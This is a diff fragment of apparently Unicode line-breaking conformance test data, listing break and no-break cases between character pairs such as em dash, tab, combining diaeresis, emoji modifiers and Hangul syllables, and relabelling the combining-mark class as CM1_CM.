-× 2014 × 0308 × 0020 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 2014 × 0308 × 0020 × 0020 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 2014 × 0308 × 0020 × 0020 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 2014 × 002F ÷ # × [0.3] EM DASH (B2) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 2014 × 0020 × 002F ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 2014 × 0308 × 002F ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 2014 × 0308 × 0020 × 002F ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 2014 × 0308 × 002F ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 2014 × 0308 × 0020 × 002F ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 2014 × 2060 ÷ # × [0.3] EM DASH (B2) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2014 × 0020 × 2060 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2014 × 0308 × 2060 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2014 × 0308 × 0020 × 2060 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2014 × 0308 × 2060 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2014 × 0308 × 0020 × 2060 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2014 × 200B ÷ # × [0.3] EM DASH (B2) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2014 × 0020 × 200B ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2014 × 0308 × 200B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2014 × 0308 × 0020 × 200B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2014 × 0308 × 200B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2014 × 0308 × 0020 × 200B ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2014 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 2014 × 0020 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2014 × 0308 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2014 × 0308 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2014 ÷ 261D ÷ # × [0.3] EM DASH (B2) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2014 × 0020 ÷ 261D ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2014 × 0308 ÷ 261D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 261D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2014 ÷ 1F3FB ÷ # × [0.3] EM DASH (B2) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2014 × 0020 ÷ 1F3FB ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2014 × 0308 ÷ 1F3FB ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2014 × 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2014 × 0020 ÷ 0001 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2014 × 0308 × 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2014 × 200D ÷ # × [0.3] EM DASH (B2) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2014 × 0020 ÷ 200D ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2014 × 0308 × 200D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 200D ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 2014 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 2014 × 0020 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2014 × 0308 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2014 × 0308 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 2014 ÷ 50005 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 2014 × 0020 ÷ 50005 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2014 × 0308 ÷ 50005 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 2014 × 0308 ÷ 50005 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 2014 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2014 × 0020 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2014 × 0308 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2014 × 0308 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 2014 × 3041 ÷ # × [0.3] EM DASH (B2) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 2014 × 0020 ÷ 3041 ÷ # × [0.3] EM DASH (B2) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2014 × 0308 × 3041 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 2014 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2014 × 0308 × 3041 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 2014 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] EM DASH (B2) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0009 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 0009 × 0020 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0009 × 0308 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0009 × 0308 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0009 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0009 × 0020 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0009 × 0308 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0009 × 0308 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0009 × 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0009 × 0020 ÷ 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0009 × 0308 × 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0009 × 0308 × 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0009 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0009 × 0020 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0009 × 0308 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0009 × 0308 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0009 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0009 × 0020 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0009 × 0308 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0009 × 0308 × 0020 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0009 × 0308 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0009 × 0308 × 0020 × 000B ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0009 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0009 × 0020 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0009 × 0308 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0009 × 0308 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0009 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0009 × 0020 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0009 × 0308 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0009 × 0308 × 0020 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0009 × 0308 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0009 × 0308 × 0020 × 007D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0009 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0009 × 0020 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0009 × 0308 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0009 × 0308 × 0020 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0009 × 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0009 × 0020 ÷ 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0009 × 0308 × 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0009 × 0308 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0009 × 0308 × 0020 × 0029 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0009 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0009 × 0020 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0009 × 0308 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0009 × 0308 × 0020 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0009 × 0308 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0009 × 0308 × 0020 × 000D ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0009 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0009 × 0020 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0009 × 0308 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0009 × 0308 × 0020 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0009 × 0308 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0009 × 0308 × 0020 × 0021 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0009 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0009 × 0020 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0009 × 0308 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0009 × 0308 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0009 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0009 × 0020 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0009 × 0308 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0009 × 0308 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0009 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0009 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0009 × 0020 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0009 × 0308 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0009 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0009 × 0308 ÷ AC01 ÷ # × [0.3] <CHARACTER TABULATION> (BA) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
